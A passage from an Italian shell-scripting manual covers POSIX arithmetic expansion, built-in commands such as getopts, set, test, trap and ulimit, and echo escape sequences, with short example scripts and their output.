    echo "il pacchetto pippo esiste"
else
    echo "il pacchetto pippo non esiste"
fi
```

19.3.3 Espressioni aritmetiche

La shell consente di risolvere delle espressioni aritmetiche in certe circostanze. In generale, nella maggior parte delle shell per le quali si dichiara la compatibilità POSIX, si ottiene l'espansione di un'espressione aritmetica con la forma seguente:

```
$((espressione))
```

Il calcolo avviene su interi senza controllo dello straripamento (*overflow*), anche se normalmente la divisione per zero viene intercettata e segnalata come errore. Oltre alle espressioni puramente aritmetiche si possono risolvere espressioni logiche e binarie, anche se l'utilizzo di queste ultime non è indicato. La tabella 19.46 riporta l'elenco degli operatori aritmetici disponibili.

Tabella 19.46. Operatori aritmetici.

Operatore e operandi	Descrizione
+**op**	Non ha alcun effetto.
-**op**	Inverte il segno dell'operando.
op1 + **op2**	Somma i due operandi.
op1 - **op2**	Sottrae dal primo il secondo operando.
op1 * **op2**	Moltiplica i due operandi.
op1 / **op2**	Divide il primo operando per il secondo.
op1 % **op2**	Modulo: il resto della divisione tra il primo e il secondo operando.
var = **valore**	Assegna alla variabile il valore alla destra.
op1 += **op2**	**op1** = **op1** + **op2**
op1 -= **op2**	**op1** = **op1** - **op2**
op1 *= **op2**	**op1** = **op1** * **op2**
op1 /= **op2**	**op1** = **op1** / **op2**
op1 %= **op2**	**op1** = **op1** % **op2**

Le variabili di shell possono essere utilizzate come operandi; l'espansione di parametri e variabili avviene prima della risoluzione delle espressioni. Quando una variabile o un parametro vengono utilizzati all'interno di un'espressione, vengono convertiti in interi. Una variabile di shell non ha bisogno di essere convertita.

Gli operatori sono valutati in ordine di precedenza. Le sottoespressioni tra parentesi sono risolte prima.

19.3.4 Comandi interni

I comandi interni sono quelli eseguiti direttamente dalla shell, come se si trattasse di funzioni. La tabella 19.47 descrive brevemente alcuni comandi a disposizione di una shell standard tipica, anche leggermente oltre ciò che richiede strettamente lo standard POSIX. In particolare, i comandi '**`getopts`**' e '**`set`**' sono ripresi in sezioni separate.

È bene ricordare che dal punto di vista della shell, il valore numerico zero corrisponde a *Vero*, mentre qualunque valore diverso da zero corrisponde a *Falso*.

Tabella 19.47. Descrizione sintetica di alcuni comandi interni di una shell POSIX.

Comando	Descrizione
: [*argomenti*]	Comando nullo. Ciò che inizia con il simbolo '**`:`**' non viene eseguito. Si ottiene solo l'espansione degli argomenti e l'esecuzione della ridirezione. Il valore restituito alla fine è sempre zero.
. *file_script*	Vengono letti ed eseguito il contenuto del file indicato, il quale è sufficiente sia leggibile. Se il nome del file non fa riferimento a un percorso, questo viene cercato all'interno dei vari percorsi elencati dalla variabile ***PATH*** (ci sono shell che cercano il file anche nella directory corrente). Il valore restituito dallo script è: quello dell'ultimo comando eseguito al suo interno; zero (*Vero*) se non vengono eseguiti comandi; *Falso* (un valore diverso da zero) se il file non è stato trovato.
`alias` [*nome* [=*valore*]]...	Il comando '**`alias`**' permette di definire un alias, oppure di leggere il contenuto di un alias particolare, o di elencare tutti gli alias esistenti. Se viene utilizzato senza argomenti, emette attraverso lo standard output la lista degli alias nella forma '***nome*=*valore***'. Se viene indicato solo il nome di un alias, ne viene emesso il nome e il contenuto. Se si utilizza la sintassi completa si crea un alias nuovo. La coppia '***nome*=*valore***' deve essere scritta senza lasciare spazi prima e dopo del segno di uguaglianza ('**`=`**'). Il comando '**`alias`**' restituisce il valore *Falso* quando è stato indicato un alias inesistente senza valore da assegnare, negli altri casi restituisce *Vero*.
`bg` [*specificazione_del_job*]	Mette sullo sfondo il gruppo di elaborazione (*job*) indicato, come se fosse stato avviato aggiungendo il simbolo e-commerciale ('**`&`**') alla fine. Se non viene specificato il gruppo di elaborazione, viene messo sullo sfondo quello corrente, dal punto di vista della shell. Se l'operazione riesce, il valore restituito è zero.
`break` [*n*]	Interrompe un ciclo '**`for`**', '**`while`**' o '**`until`**'. Se viene specificato il valore numerico ***n***, l'interruzione riguarda ***n*** livelli. Il valore ***n*** deve essere maggiore o uguale a uno. Se ***n*** è maggiore dei cicli annidati in funzione, vengono semplicemente interrotti tutti. Il valore restituito è zero purché ci sia un ciclo da interrompere.

Comando	Descrizione
`cd` [*directory*]	Cambia la directory corrente. Se non viene specificata la destinazione, si intende la directory contenuta nella variabile ***HOME*** (che di solito corrisponde alla directory personale dell'utente). Il funzionamento di questo comando può essere alterato dal contenuto della variabile ***CDPATH*** che può indicare dei percorsi di ricerca per la directory su cui ci si vuole spostare. Di norma, la variabile ***CDPATH*** è opportunamente vuota, in modo da fare riferimento semplicemente alla directory corrente.
`command` ***comando*** [***argomento***...]	Esegue un «comando» con degli argomenti eventuali. Il comando che si avvia può essere solo un comando interno oppure un programma, mentre sono escluse espressamente le funzioni.
`continue` [***n***]	Riprende, a partire dall'iterazione successiva, un ciclo '**`for`**', '**`while`**' o '**`until`**'. Se viene specificato il valore numerico ***n***, il salto riguarda ***n*** livelli. Il valore ***n*** deve essere maggiore o uguale a uno. Se ***n*** è maggiore dei cicli annidati in funzione, si fa riferimento al ciclo più esterno. Il valore restituito è zero, a meno che non ci sia alcun ciclo da riprendere.
`echo` [`-n`] [***argomento***...]	Emette gli argomenti separati da uno spazio. Restituisce sempre il valore zero. '**`echo`**' riconosce alcune sequenze di escape che possono essere utili per comporre il testo da visualizzare. Queste sono elencate nella tabella 19.48. L'opzione '**`-n`**' (non prevista dallo standard, ma generalmente disponibile) consente di impedire che alla fine del testo visualizzato sia inserito il codice di interruzione di riga finale, in modo che il testo emesso successivamente prosegua di seguito. Si osservi che la shell Bash non riconosce le sequenze di escape se non si aggiunge espressamente l'opzione '**`-e`**', specifica di Bash, oppure si abilita l'opzione '**`xpg_echo`**' con il comando: '**`shopt -s xpg_echo`**'.
`eval` [***argomento***...]	Esegue gli argomenti come parte di un comando unico. Restituisce il valore restituito a sua volta dal comando rappresentato dagli argomenti. Se non vengono indicati argomenti, o se questi sono vuoti, restituisce *Vero*.
`exec` [***comando*** [***argomenti***]]	Se viene specificato un comando (precisamente deve essere un programma), questo viene eseguito rimpiazzando la shell, in modo da non generare un nuovo processo ulteriore. Se sono stati indicati degli argomenti, questi vengono passati regolarmente al comando. Il fatto di rimpiazzare la shell implica che, al termine dell'esecuzione del programma, non c'è più la shell. Se si utilizza questo comando da una finestra di terminale, questa potrebbe chiudersi semplicemente, oppure, se si tratta di una shell di *login* potrebbe essere riavviata la procedura di accesso.
`exit` [***n***]	Termina l'esecuzione della shell restituendo il valore ***n***. Se viene omessa l'indicazione esplicita del valore da restituire, viene utilizzato quello dell'ultimo comando eseguito.
`export` ***nome***...	Le variabili elencate vengono segnate per l'esportazione, nel senso che vengono trasferite all'ambiente dei programmi eseguiti successivamente all'interno della shell stessa.

Comando	Descrizione
`fg` [*job*]	Pone il gruppo di elaborazione (*job*) indicato in primo piano, ovvero in *foreground*. Se non viene specificato il gruppo di elaborazione, si intende quello attuale, ovvero, l'ultimo a essere stato messo sullo sfondo (*background*).
`getopts` ***stringa_di_opzioni*** ↩ ↪***nome_di_variabile*** [***argomenti***]	Il comando interno '**`getopts`**' serve per facilitare la realizzazione di script in cui si devono analizzare le opzioni della riga di comando. Ogni volta che viene chiamato, '**`getopts`**' analizza l'argomento successivo nella riga di comando, restituendo le informazioni relative attraverso delle variabili di ambiente. Per la precisione, '**`getopts`**' analizza gli argomenti finali della sua stessa riga di comando (quelli che sono stati indicati nello schema sintattico come un elemento facoltativo) e in mancanza di questi utilizza il contenuto del parametro `@`. L'utilizzo di '**`getopts`**' può risultare complesso, pertanto viene descritto meglio in una sezione apposita.
`hash` [`-r`] [***comando***...]	Per ciascun comando indicato, viene determinato e memorizzato il percorso assoluto. Se non viene dato alcun argomento, si ottiene l'elenco dei comandi memorizzati. Se si usa l'opzione '**`-r`**' si cancellano i percorsi memorizzati.
`jobs` [***job***...]	Elenca i gruppi di elaborazione attivi. Se viene indicato esplicitamente un gruppo di elaborazione, l'elenco risultante è ristretto alle sole informazioni sullo stesso.
`kill` [`-s` ***segnale***] ***pid*** | ***job***... `kill -l` [***numero_del_segnale***]	Invia il segnale indicato al processo corrispondente al numero del PID o del gruppo di elaborazione (*job*). Il segnale viene definito attraverso un nome, come per esempio '**`KILL`**' (senza il prefisso '**`SIG`**'), o un numero di segnale. Spesso viene tollerata l'assenza dell'indicazione del segnale, ma in tal caso si intende '**`TERM`**'. Un argomento '**`-l`**' elenca i nomi dei segnali.
`local` [***nome*** [=***valore***]]	All'interno di una funzione, dichiara una variabile con un campo di azione limitato alla funzione stessa. Il comando non è previsto dallo standard POSIX ma è diffuso tra le shell che sono comunque aderenti allo standard.
`pwd` [`-P`]	Emette il percorso assoluto della directory corrente. Se viene usata l'opzione '**`-P`**', i percorsi che utilizzano collegamenti simbolici vengono tradotti in percorsi reali. Restituisce zero se non si verifica alcun errore mentre si legge il percorso della directory corrente.
`read` [`-p` ***prompt***] ***variabile***...	Viene letta una riga dallo standard input, assegnando la prima parola di questa riga alla prima variabile indicata come argomento, assegnando la seconda parola alla seconda variabile e così via. All'ultima variabile indicata nella riga di comando viene assegnata la parte restante della riga dello standard input che non sia stata attribuita diversamente. Per determinare la separazione in parole della riga dello standard input si utilizzano i caratteri contenuti nella variabile ***IFS***. L'opzione '**`-p`**' permette di definire un invito particolare. Questo viene visualizzato solo se l'input proviene da un terminale.
`readonly` [***variabile*** [=***valore***]...] `readonly -p`	Le variabili indicate vengono marcate per la sola lettura e i valori di queste non possono essere cambiati dagli assegnamenti successivi. Se viene indicata l'opzione '**`-p`**', si ottiene una lista di tutti i nomi a sola lettura.

Comando	Descrizione
`return [n]`	Termina l'esecuzione di una funzione restituendo il valore ***n***. Se viene omessa l'indicazione di questo valore, la funzione che termina restituisce il valore restituito a sua volta dall'ultimo comando eseguito al suo interno. Se il comando '**`return`**' viene utilizzato al di fuori di una funzione, ma sempre all'interno di uno script, termina l'esecuzione dello script stesso.

`set [{-|+}x]...`
`set {-|+}o [modalità]`
`set valore_param_1 [valore_param_2...]`
`set -- [valore_param_1 [valore_param_2...]]`
	Questo comando, se usato senza argomenti, emette l'impostazione generale della shell, nel senso che vengono visualizzate tutte le variabili di ambiente e le funzioni. Se si indicano degli argomenti si intendono alterare alcune modalità (opzioni) legate al funzionamento della shell.
	Dal momento che si tratta di un comando molto complesso, il suo utilizzo viene descritto in una sezione apposita.

`shift [n]`	I parametri posizionali da ***n***+1 in avanti sono spostati a partire dal primo in poi (il parametro zero non viene coinvolto). Se ***n*** è 0, nessun parametro viene cambiato. Se ***n*** non è indicato, il suo valore predefinito è uno. Il valore di ***n*** deve essere un numero non negativo minore o uguale al parametro ***#*** (cioè al numero di parametri posizionali esistenti). Se ***n*** è più grande del parametro ***#***, i parametri posizionali non vengono modificati. Restituisce *Falso* se ***n*** è più grande del parametro ***#*** o minore di zero; altrimenti restituisce *Vero*.
`test espressione_condizionale` `[ espressione_condizionale ]`	Risolve (valuta) l'espressione indicata (la seconda forma utilizza semplicemente un'espressione racchiusa tra parentesi quadre). Il valore restituito può essere *Vero* (corrispondente a zero) o *Falso* (corrispondente a uno) ed è pari al risultato della valutazione dell'espressione. Le espressioni possono essere unarie o binarie. Le espressioni unarie sono usate spesso per esaminare lo stato di un file. Vi sono operatori su stringa e anche operatori di comparazione numerica. Ogni operatore e operando deve essere un argomento separato. Se si usa la forma tra parentesi quadre, è indispensabile che queste siano spaziate dall'espressione da valutare. Nella tabella 19.49 vengono elencate le espressioni elementari che possono essere utilizzate in questo modo. Non si tratta necessariamente di un comando interno.
`times`	Emette i tempi di utilizzo accumulati.

Comando	Descrizione
`trap` [*argomento segnale*...]	Il comando espresso nell'argomento deve essere letto ed eseguito quando la shell riceve il segnale, o i segnali indicati. Se non viene fornito l'argomento, o viene indicato un trattino ('**-**') al suo posto, tutti i segnali specificati sono riportati al loro valore originale (i valori che avevano al momento dell'ingresso nella shell). Se l'argomento fornito corrisponde a una stringa nulla, questo segnale viene ignorato dalla shell e dai comandi che questo avvia. Se il segnale è '**EXIT**', pari a zero, il comando contenuto nell'argomento viene eseguito all'uscita della shell. Se viene utilizzato senza argomenti, '**trap**' emette la lista di comandi associati con ciascun numero di segnale. I segnali intercettati sono riportati al loro valore originale in un processo discendente quando questo viene creato.
`true`	Si tratta di un comando nullo che restituisce zero, pari a *Vero*.
`type` *nome*...	Determina le caratteristiche di uno o più comandi indicati come argomento. Restituisce *Vero* se uno qualsiasi degli argomenti viene trovato, *Falso* se non ne viene trovato alcuno.
`ulimit` [*opzioni*] [*limite*]	Fornisce il controllo sulle risorse disponibili per la shell e per i processi avviati da questa, sui sistemi che permettono un tale controllo. Il valore del limite può essere un numero nell'unità specificata per la risorsa, o il valore '**unlimited**'. Se l'indicazione dell'entità del limite viene omessa, si ottiene l'informazione del valore corrente. Quando viene specificata più di una risorsa, il nome del limite e l'unità vengono emessi prima del valore. Il controllo pratico dei limiti impostati in questo modo dipende dal sistema operativo, il quale potrebbe anche ignorarne alcuni, per carenze realizzative nelle funzioni che dovrebbero attuare questi compiti. Se il limite viene espresso, questo diventa il nuovo valore per la risorsa specificata. Se non viene indicata alcuna opzione, si assume normalmente '**-f**' (l'unica a essere prevista dallo standard POSIX). I valori, a seconda dei casi, sono espressi in multipli di 1024 byte, o in «blocchi» da 512 byte, tranne per '**-t**' che è riferito a secondi e '**-n**' che rappresenta una quantità precisa. Il valore restituito è zero se non vengono commessi errori. La tabella 19.50 riepiloga le opzioni e i limiti più comuni che possono essere impostati con '**ulimit**'.
`umask` [*modalità*]	La maschera dei permessi per la creazione dei file dell'utente viene modificata in modo da farla coincidere con la modalità indicata. Generalmente può essere inserita la modalità soltanto in forma di numero ottale. Se la modalità viene omessa si ottiene il valore corrente della maschera.
`unalias` *nome_di_alias*... `unalias -a`	Rimuove l'alias indicato dalla lista degli alias definiti. Se viene fornita l'opzione '**-a**', sono rimosse tutte le definizioni di alias.

Comando	Descrizione
`unset [-v]` ***nome_variabile...*** `unset -f` ***nome_funzione...***	Vengono rimosse le variabili o le funzioni indicate. Se viene utilizzata l'opzione '**`-f`**', si fa riferimento espressamente a funzioni; se si indica l'opzione '**`-v`**' ci si riferisce espressamente a variabili. Se non si indicano opzioni e ci può essere ambiguità tra i nomi, vengono rimosse le variabili.
`wait [`***n***`]`	Attende la conclusione del processo specificato e restituisce il suo valore di uscita. Il numero ***n*** può essere un PID o un gruppo di elaborazione (*job*); se viene indicato un gruppo di elaborazione, si attende la conclusione di tutti i processi nel condotto relativo. Se ***n*** non viene indicato, si aspetta la conclusione di tutti i processi discendenti ancora attivi, restituendo il valore zero. Se ***n*** specifica un processo o un gruppo di elaborazione che non esiste, viene restituito il valore *Falso*, altrimenti il valore restituito è lo stesso dell'ultimo processo o gruppo di elaborazione di cui si è attesa la conclusione.

Tabella 19.48. Alcune sequenze di escape che possono essere riconosciute dal comando '**`echo`**'.

Codice	Descrizione
`\\`	Inserisce la barra obliqua inversa ('****').
`\a`	Inserisce il codice *<BEL>* (avvisatore acustico).
`\b`	Inserisce il codice *<BS>* (*backspace*).
`\c`	Alla fine di una stringa previene l'inserimento di una nuova riga.
`\f`	Inserisce il codice *<FF>* (*formfeed*).
`\n`	Inserisce il codice *<LF>* (*linefeed*).
`\r`	Inserisce il codice *<CR>* (*carriage return*).
`\t`	Inserisce una tabulazione normale (*<HT>*).
`\v`	Inserisce una tabulazione verticale (*<VT>*).
`\0`***n***	Inserisce il carattere corrispondente al codice ottale ***n***.

Tabella 19.49. Espressioni per il comando '**`test`**'.

Espressione	Descrizione
`-e` ***file***	*Vero* se il file esiste ed è di qualunque tipo.
`-b` ***file***	*Vero* se il file esiste ed è un dispositivo a blocchi.
`-c` ***file***	*Vero* se il file esiste ed è un dispositivo a caratteri.
`-d` ***file***	*Vero* se il file esiste ed è una directory.

Espressione	Descrizione
`-f` ***file***	*Vero* se il file esiste ed è un file normale.
`-h` ***file***	*Vero* se il file esiste ed è un collegamento simbolico.
`-p` ***file***	*Vero* se il file esiste ed è un file FIFO (*pipe* con nome).
`-S` ***file***	*Vero* se il file esiste ed è un *socket* (socket di dominio Unix).
`-t` ***descrittore***	*Vero* se lo standard output è aperto su un terminale.
`-g` ***file***	*Vero* se il file esiste ed è impostato il suo bit SGID.
`-u` ***file***	*Vero* se il file esiste ed è impostato il suo bit SUID.
`-k` ***file***	*Vero* se il file ha il bit Sticky attivo.
`-r` ***file***	*Vero* se il file esiste ed è leggibile.
`-w` ***file***	*Vero* se il file esiste ed è scrivibile.
`-x` ***file***	*Vero* se il file esiste e dispone del permesso di esecuzione, oppure se la directory esiste e c'è il permesso di attraversamento.
`-O` ***file***	*Vero* se il file esiste e appartiene all'UID efficace dell'utente attuale.
`-G` ***file***	*Vero* se il file esiste e appartiene al GID efficace dell'utente attuale.
`-s` ***file***	*Vero* se il file esiste e ha una dimensione maggiore di zero.
file1 `-nt` ***file2***	*Vero* se il primo file ha la data di modifica più recente.
file1 `-ot` ***file2***	*Vero* se il primo file ha la data di modifica più vecchia.
file1 `-et` ***file2***	*Vero* se i due nomi corrispondono allo stesso inode.
stringa	*Vero* se la stringa è diversa dalla stringa nulla.
`-z` ***stringa***	*Vero* se la lunghezza della stringa è zero.
`-n` ***stringa***	*Vero* se la lunghezza della stringa è diversa da zero.
stringa1 `=` ***stringa2***	*Vero* se le stringhe sono uguali.
stringa1 `!=` ***stringa2***	*Vero* se le stringhe sono diverse.
stringa1 `<` ***stringa2***	*Vero* se la prima stringa è lessicograficamente precedente.
stringa1 `>` ***stringa2***	*Vero* se la prima stringa è lessicograficamente successiva.
op1 `-eq` ***op2***	*Vero* se gli operandi hanno valori numerici uguali.
op1 `-ne` ***op2***	*Vero* se gli operandi hanno valori numerici differenti.

Espressione	Descrizione
op1 `-lt` ***op2***	*Vero* se il primo operando ha un valore numerico inferiore al secondo.
op1 `-le` ***op2***	*Vero* se il primo operando ha un valore numerico inferiore o uguale al secondo.
op1 `-gt` ***op2***	*Vero* se il primo operando ha un valore numerico maggiore del secondo.
op1 `-ge` ***op2***	*Vero* se il primo operando ha un valore numerico maggiore o uguale al secondo.
`!` ***espressione***	Inverte il risultato logico dell'espressione.
espressione `-a` ***espressione***	*Vero* se entrambe le espressioni danno un risultato *Vero*.
espressione `-o` ***espressione***	*Vero* se almeno un'espressione dà un risultato *Vero*.
`(`***espressione***`)`	*Vero* se il risultato dell'espressione è *Vero*.

Tabella 19.50. Opzioni per l'uso del comando '**`ulimit`**'.

Opzione	Descrizione
`-H`	Viene impostato il limite fisico (*hard*) per la data risorsa. Un limite fisico non può essere aumentato una volta che è stato impostato. Se non viene specificata questa opzione, si intende l'opzione '**`-S`**' in modo predefinito.
`-S`	Viene impostato il limite logico (*soft*) per la data risorsa. Un limite logico può essere aumentato fino al valore del limite fisico. Questa opzione è predefinita se non viene specificata l'opzione '**`-H`**'.
`-a`	Sono riportati tutti i limiti correnti.
`-c`	La grandezza massima dei file '`core`' creati, espressa in blocchi che dovrebbero essere di 512 byte.
`-d`	La grandezza massima del segmento dati di un processo, in multipli di 1024 byte.
`-f`	La grandezza massima dei file creati dalla shell, espressa in blocchi che dovrebbero essere di 512 byte.
`-m`	La grandezza massima della memoria occupata, in multipli di 1024 byte.
`-s`	La grandezza massima della pila del processo (*stack*), in multipli di 1024 byte.
`-t`	Il massimo quantitativo di tempo di CPU in secondi.
`-n`	Il numero massimo di descrittori di file aperti (la maggior parte dei sistemi non permette che questo valore sia impostato, consentendo solo la sua lettura).

19.3.4.1 Comando «getopts»

Il comando interno '**`getopts`**' è qualcosa di diverso dalle solite cose. Serve per facilitare la realizzazione di script in cui si devono analizzare le opzioni della riga di comando.

`getopts` ***stringa_di_opzioni*** ***nome_di_variabile*** [***argomenti***]

Ogni volta che viene chiamato, '**`getopts`**' analizza l'argomento successivo nella riga di comando, restituendo le informazioni relative attraverso delle variabili di ambiente. Per la precisione, '**`getopts`**' analizza gli argomenti finali della sua stessa riga di comando (quelli che sono stati indicati nello schema sintattico come un elemento facoltativo) e in mancanza di questi utilizza il contenuto del parametro @. Si osservi l'esempio:

```
getopts stringa_di_opzioni nome_di_variabile
```

Quanto appare sopra è esattamente uguale a:

```
getopts stringa_di_opzioni nome_di_variabile $@
```

Il comando '**`getopts`**' dipende in particolare dalla variabile ***OPTIND***, la quale contiene l'indice di scansione di questi argomenti. Il suo valore iniziale predefinito è pari a uno, corrispondente al primo elemento, incrementato successivamente ogni volta che si utilizza '**`getopts`**'. Se per qualche motivo si dovesse ripetere una scansione (degli stessi, o di altri argomenti), occorrerebbe inizializzare nuovamente tale variabile al valore uno.

Per funzionare, '**`getopts`**' richiede due informazioni: una stringa contenente le lettere delle opzioni previste; il nome di una variabile di ambiente da creare e inizializzare di volta in volta con il nome dell'opzione individuata. Se è previsto che un'opzione di quelle da scandire sia seguita da un argomento, quell'argomento viene inserito nella variabile di ambiente ***OPTARG***. La stringa che definisce le lettere delle opzioni è composta proprio da quelle stesse lettere, le quali possono essere seguite dal simbolo due punti ('**`:`**') se si vuole specificare la presenza di un argomento.

Per cominciare, si osservi l'esempio seguente, in cui viene mostrato uno script elementare anche se piuttosto lungo:

```
#!/bin/sh
echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."

echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."

echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."

echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."

echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."
```

```
echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."

echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."

echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."

echo "Indice opzioni: $OPTIND"
getopts a:b:c:defg OPZIONE -a ciao -b come -c stai -d -e -f -g -h -i
echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."
```

Come si può notare, '**`getopts`**' viene avviato sempre nello stesso modo (soprattutto con gli stessi argomenti da scandire); inoltre, subito prima viene visualizzato il contenuto della variabile ***OPTIND*** e dopo viene visualizzato il risultato della scansione. Ecco cosa si ottiene:

```
Indice opzioni: 1
Opzione "a" con argomento ciao.
Indice opzioni: 3
Opzione "b" con argomento come.
Indice opzioni: 5
Opzione "c" con argomento stai.
Indice opzioni: 7
Opzione "d" con argomento .
Indice opzioni: 8
Opzione "e" con argomento .
Indice opzioni: 9
Opzione "f" con argomento .
Indice opzioni: 10
Opzione "g" con argomento .
Indice opzioni: 11
./prova.sh: illegal option -- h
Opzione "?" con argomento .
Indice opzioni: 11
./prova.sh: illegal option -- i
Opzione "?" con argomento .
```

In pratica, sono valide solo le opzioni dalla lettera «a» alla lettera «g», inoltre le prime tre (dalla «a» alla «c») richiedono un argomento. Si può osservare che le opzioni '**`-h`**' e '**`-i`**', che sono state aggiunte volutamente, sono in più e '**`getopts`**' ne ha segnalato la presenza come un errore.

Vale la pena di osservare anche l'andamento dell'indice rappresentato dalla variabile

OPTIND: nel caso delle opzioni '**`-a`**', '**`-b`**' e '**`-c`**', l'incremento è di due unità perché c'è anche un argomento di queste.

Il comando '**`getopts`**' restituisce un valore diverso da zero (*Falso*) tutte le volte che si verifica un errore. In questo modo, diventa agevole il suo inserimento al posto di un'espressione condizionale, come nell'esempio seguente, in cui si fa la scansione delle opzioni fornite allo script, ovvero quelle contenute nel parametro @:

```
#!/bin/sh
while getopts a:b:c:defg OPZIONE
do
    echo "Opzione \"${OPZIONE}\" con argomento ${OPTARG}."
done
```

Al primo errore, il ciclo termina e non viene mostrato il messaggio relativo.

In condizioni normali, è più probabile che si utilizzi una struttura '**`case`**' per analizzare la scansione delle opzioni, come nell'esempio seguente, dove è stata aggiunta anche l'inizializzazione della variabile ***OPTIND*** a titolo precauzionale, per garantire che la scansione parta dall'inizio:

```
#!/bin/sh
OPTIND=1
while getopts :a:b:c:defg OPZIONE
do
    case $OPZIONE in
        a) echo "Opzione \"a\" con argomento $OPTARG."          ;;
        b) echo "Opzione \"b\" con argomento $OPTARG."          ;;
        c) echo "Opzione \"c\" con argomento $OPTARG."          ;;
        d) echo "Opzione \"d\" che non richiede argomento."     ;;
        e) echo "Opzione \"e\" che non richiede argomento."     ;;
        f) echo "Opzione \"f\" che non richiede argomento."     ;;
        g) echo "Opzione \"g\" che non richiede argomento."     ;;
        *) echo "È stata indicata un'opzione non valida."       ;;
    esac
done
```

Questo esempio è diverso da quelli precedenti, soprattutto per la stringa di definizione delle opzioni da scandire: questa stringa inizia con il simbolo due punti ('`:`'). In questo modo, si vuole evitare che '**`getopt`**' restituisca *Falso* quando si verifica un errore negli argomenti.

Il comando '**`getopts`**' utilizza anche un'altra variabile di ambiente: ***OPTERR***. Questa variabile contiene normalmente il valore uno; se le viene assegnato zero, si inibiscono tutte le segnalazioni di errore.

19.3.4.2 Comando «set»

Il comando '**set**', se usato senza argomenti, emette l'impostazione generale della shell, nel senso che vengono visualizzate tutte le variabili di ambiente e le funzioni. Se si indicano degli argomenti si intendono alterare alcune modalità (opzioni) legate al funzionamento della shell.

```
set [{-|+}x]...
```

```
set {-|+}o [modalità]
```

```
set valore_param_1 [valore_param_2 ... [valore_param_n]]
```

```
set -- [valore_parametro_1 [valore_parametro_2...]]
```

Quasi tutte le modalità in questione sono rappresentate da una lettera alfabetica, con un qualche significato mnemonico. L'attivazione di queste modalità può essere verificata osservando il contenuto del parametro **-**:

$ **echo $-** [*Invio*]

Si potrebbe ottenere una stringa come quella seguente:

```
imH
```

Le lettere che si vedono («i», «m» e «H») rappresentano ognuna l'attivazione di una modalità particolare, dove però '**set**' può intervenire solo su alcune di queste. Gli argomenti normali del comando '**set**' sono le lettere delle modalità che si vogliono attivare o disattivare: se le lettere sono precedute dal segno '**-**' si specifica l'attivazione di queste, mentre se sono precedute dal segno '**+**' si specifica la loro disattivazione.

Il comando '**set**' può essere usato per modificare le modalità di funzionamento anche attraverso l'opzione '**-o**', oppure '**+o**', che deve essere seguita da una parola chiave che rappresenta la modalità stessa. I segni '**-**' e '**+**' rappresentano ancora l'attivazione o la disattivazione della modalità corrispondente. Le modalità a cui si accede attraverso l'opzione '**-o**' (o '**+o**') non sono esattamente le stesse che si possono controllare altrimenti.

Il comando '**set**' può servire anche per modificare il contenuto dei parametri posizionali. Per questo, se ci sono degli argomenti che seguono la definizione dell'ultima modalità, vengono interpretati come i valori da assegnare ordinatamente a questi parametri. In particolare, se si utilizza la forma '**set --**', si interviene su tutti i parametri: se non si indicano argomenti, si eliminano tutti i parametri; se ci sono altri argomenti, questi diventano ordinatamente i nuovi parametri, mentre tutti quelli precedenti vengono eliminati.

Se viene utilizzato il comando '**set -o**', si ottiene l'elenco delle impostazioni attuali.

Il comando '**set**' restituisce *Vero* se non viene incontrata un'opzione errata.

Segue la descrizione di alcune modalità, che potrebbero essere riconosciute dalla maggior parte delle shell POSIX.

<table>
<tr><th>Modalità</th><th>Descrizione</th></tr>
<tr><td>{-|+}a
{-|+}o allexport</td><td>Le variabili che vengono modificate o create, sono marcate automaticamente per l'esportazione verso l'ambiente per i comandi avviati dalla shell.</td></tr>
<tr><td>{-|+}b
{-|+}o notify</td><td>Fa in modo che venga riportato immediatamente lo stato di un gruppo di elaborazione (job) sullo sfondo che termina. Altrimenti, questa informazione viene emessa subito prima dell'invito primario successivo.</td></tr>
<tr><td>{-|+}e
{-|+}o errexit</td><td>Termina immediatamente se un comando qualunque conclude la sua esecuzione restituendo uno stato diverso da zero. La shell non esce se il comando che fallisce è parte di un ciclo 'until' o 'while', di un'istruzione 'if', di una lista '&&' o '||', o se il valore restituito dal comando è stato invertito per mezzo di '!'.</td></tr>
<tr><td>{-|+}f
{-|+}o noglob</td><td>Disabilita l'espansione di percorso (quello che riguarda i caratteri jolly, o metacaratteri, nei nomi di file e directory).</td></tr>
<tr><td>{-|+}m
{-|+}o monitor</td><td>Abilita il controllo dei gruppi di elaborazione. Questa modalità è attiva in modo predefinito per le shell interattive.</td></tr>
<tr><td>{-|+}n
{-|+}o noexec</td><td>Legge i comandi, ma non li esegue. Ciò può essere usato per controllare gli errori di sintassi di uno script di shell. Questo valore viene ignorato dalle shell interattive.</td></tr>
<tr><td>{-|+}u
{-|+}o nounset</td><td>Fa in modo che venga considerato un errore l'utilizzo di variabili non impostate (predisposte) quando si effettua l'espansione di una variabile (o di un parametro). In tal caso, quindi, la shell emette un messaggio di errore e, se il funzionamento non è interattivo, termina restituendo un valore diverso da zero.</td></tr>
<tr><td>{-|+}v
{-|+}o verbose</td><td>Emette le righe inserite nella shell appena queste vengono lette.</td></tr>
<tr><td>{-|+}x
{-|+}o xtrace</td><td>Nel momento in cui si eseguono dei comandi, viene emesso il comando stesso attraverso lo standard output preceduto da quanto contenuto nella variabile PS4.</td></tr>
<tr><td>{-|+}C
